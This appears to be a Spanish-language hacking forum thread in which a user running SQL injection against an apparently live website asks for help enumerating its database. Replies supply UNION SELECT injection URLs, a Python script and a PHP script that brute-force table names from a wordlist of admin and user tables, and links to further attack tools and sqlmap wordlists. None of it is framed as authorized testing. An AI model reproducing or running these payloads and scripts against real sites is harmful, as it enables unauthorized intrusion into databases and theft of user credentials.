Buenas antes que nada un saludo a todos, mi problema es el siguiente, estoy haciendo "SQL Injection" a una web y me quede estancado por asi decirlo en un paso:
Informacion que he logrado sacar.
Numero de tablas = 7
Mysql Version = 4.1.20
Nombre de la db = emotiu
Usuario de la db = emotiu@localhost
tables visibles = 4,5,6
Ok todo bien hasta alli, pero ahora que hago? intente con éste codigo:
http://www.prueba.com/html/noticia.php?id=-11+union+select+1,2,3,group_concat(table_name),5,6,7+from+information_schema.tables
Y el resultado es:
¡¡ERROR!!: SELECT command denied to user 'emotiu'@'localhost' for table 'tables'
SELECT * FROM noticias WHERE id_noticia = -11 union select 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables
Mi duda está muy clara, si probando de esa forma me da acceso denegado, entonces que puedo usar para lograr saber almenos las tablas, o una recomendacion logica qe me den, creo que tienen la info suficiente jeje un saludo.
Mysql Version = 4.1.20
esa version no soporta information_schema hasta donde se...
saludos
bueno entonces podrias darme algunos tips?
bueno se supone que si la version 4 no soporta la information_schema y la 5 si.. entonces la 4 es mayor vulnerable cierto? me pueden ayudar?
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_17609-t244090.0.html
Desde la version 5.x , mysql tiene la db information_schema.
Tienes que hacer fuerza bruta para indentificar las tablas.
Saludos¡
Hola OzX la fuerza bruta para indentificar las tablas se puede hacer desde la URL o tendria que ser con scripts?
Cita de: aagos en 30 Julio 2009, 01:15 AM
Hola OzX la fuerza bruta para indentificar las tablas se puede hacer desde la URL o tendria que ser con scripts?
podes hacerlo a mano o con un script ya sea en ruby, python, perl etc... es facil lo unico que tenes que hacer es tener una buena lista con nombres de tablas mas comunes o que sean posible que este y pones todo en un array de cadenas lo que seria en python una 'lista'... y vas abriendo la web en un bucle tipo:
http://www.prueba.com/html/noticia.php?id=-11+union+select+1,2,3,4,5,6,7+from+LISTA[ITERADOR]
y por cada resultado si por ejemplo la web te tira un Table 'LISTA[ITERADOR]' doesn't exist ... aumentar el iterador en uno y que siga con el bucle hasta que encuentre una con la que no tire el error entonces la imprimis en la pantalla y listo al menos eso haria yo...
tambien podes hacer lo mismo pero manualmente ir probando con tablas que se te ocurran pero eso si que es un huevo :xD ...
pues me temo que tendre que hacerlo a mano jajajajja porque no se nada de ruby, python, ni de perl muchas gracias porcierto se sabe de alguna vulnerabilidad conocida en MySQL 5.0.27 ?
bueno basicamente seria algo asi.... esta en python
import urllib2
url = raw_input("Introduce la url + el path vulnerable\n\tejemplo: www.ejemplo.com/xxxx.php?id=\n")
tablas = ['admin','tblUsers', 'tbl_users', 'tbl_admin',,'tblAdmin','user','users','username','usernames','usuario',
'name','names','nombre','nombres','usuarios','member','members','admin_table',
'miembro','miembros','membername','admins','administrator',
'administrators','passwd','password','passwords','pass','Pass',
'user_password', 'usua_login','user_passwords','user_name','user_names',
'member_password','mods','mod','moderators','moderator','user_email',
'user_emails','user_mail','user_mails','mail','emails','email','address',
'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
'u_password','nick','nicks','manager','managers','administrador',
'administradores','clave','login_id','pwd','pas','sistema_id',
'sistema_usuario','sistema_password','contraseña','auth','key','senha',
'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','tb_users','tb_user','tb_sys','sys',
'fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors',
'accounts','account','accnts','accnt','customers','customer','membres','administrateur','utilisateur','utilisateurs',
'password','passwords','amministratore','god','God','authors','autores','membername','usuario','Users','Admin','Members',
'Miemberos','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER', 'username', 'user_hash']
inyeccion = "-11+union+select+1,2,3,4,5,6,7+from+"
for tabla in tablas:
web = urllib2.urlopen(url + inyeccion + tabla)
source = web.read()
error = "Table 'emotiu." + str(tabla) + "' doesn't exist"
if not error in source:
print "Tabla %s se encuentra en la base de datos" % tabla
print "Fin xd"
Por cierto la lista de tablas esa no es mia la saque de otro script que vi por ahi ....
uff muchas gracias soy incapaz de compilar el codigo me da siempre "invalid syntax" voy a probar otros metodos
No he probado el code, pero veo un raw_input que no funciona en la última versión de python (se ha sustituído), cambialo por input.
Además el print debe de llevar paréntesis, pero bueno, si no tienes idea de esto mejor hacerlo a mano :P
Saludos
CitarEdite mi post para agregar el otro problema del script, no iba a poner otro porque básicamente no agrega mucho más al tema del SQL injection
Tampoco amigo Novlucker pero gracias
Una ultima cosa todas las inyecciones las estoy haciendo desde URL modificando algunos parametros con el Tamper Data la base de datos es MySQL 5.0.27 y casi todas las inyecciones me devuelven:
Este fichero XML no parece tener ninguna información de estilo asociada. Se muestra debajo el árbol del documento.
−
<datos>
<resultado>-4</resultado>
</datos>
He llegado asta aqui "/admin/index.php?sc=fli" pero no consigo sacar ningun dato nisiquiera me da ningun error"
Gracias
Hola aagos. Ahi te paso un Script en Perl hecho por Loggin-root. Si estas en Linux no tendras ningun drama con perl pero en widnows tenes que bajarte el interprete.. Busca en Google..
Aqui va el Link.. valga la redundancia esta codeado en perl
http://argentinasec.blogspot.com/2008/07/sql-pw-v07-by-login-root.html (http://argentinasec.blogspot.com/2008/07/sql-pw-v07-by-login-root.html)
Saludos!!
Muchas gracias estoy aprendiendo muchisimo
Ya pude obtener la tabla de admin con un codigo SQL para php que hice, ahora los campos lo tengo que hacer de la misma manera??? con algun diccionari ode campos y probando campo por campo? a continuacion les dejo el codigo que hice...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>
<body>
<?
$pagina="http://www.susitio.com/consejos_detalle.php?advice_id=-2%20UNION/*!%20SELECT*/%201,version%28%29,3,4,5,6,7,8,9,10%20from%20users##";
$tablas=array("admin","tblUsers","tbl_users","tbl_admin","tblAdmin","user","users","username","usernames","usuario","name","names","nombre","nombres","usuarios","member","members","admin_table","miembro","miembros","membername","admins","administrator","administrators","passwd","password","passwords","pass","Pass","user_password","usua_login","user_passwords","user_name","user_names","member_password","mods","mod","moderators","moderator","user_email","user_emails","user_mail","user_mails","mail","emails","email","address","e-mail","emailaddress","correo","correos","phpbb_users","log","logins","login","registers","register","usr","usrs","banners");
echo "Leidas: " .count($tablas) ." palabras<br>";
/*$contenido = file($pagina);
$fp = fopen($contenido,"r") or die("OPEN");
echo $fp;*/
echo "<table><tr><td>Tabla</td><td>Resultado</td></tr>";
for($x=0;$x<count($tablas);$x++){
$pagina="http://www.susitio.com/consejos_detalle.php?advice_id=-2%20UNION/*!%20SELECT*/%201,9999,3,4,5,6,7,8,9,10%20from%20".$tablas[$x]."##";
$fp = fopen($pagina, 'r');
$content = '';
while ($l = fread($fp, 1024)) $content .= $l;
fclose($fp);
$encuentra = strpos($content, "doesn't exist");
if($encuentra)
echo "<tr><td>".$tablas[$x]."</td><td>NO</td></tr>";
else
echo "<tr><td>".$tablas[$x]."</td><td><a href='sacacampos.php?pagina=".$pagina."'>SI</td></tr>";
}
?>
</body>
</html>
Saludos!
te aporto con los common-columns , common-table y common-output , que trae por defecto sqlmap para que lo agregues en tu script.
http://www.2shared.com/file/e64Q8TWE/common.html
suerte ;).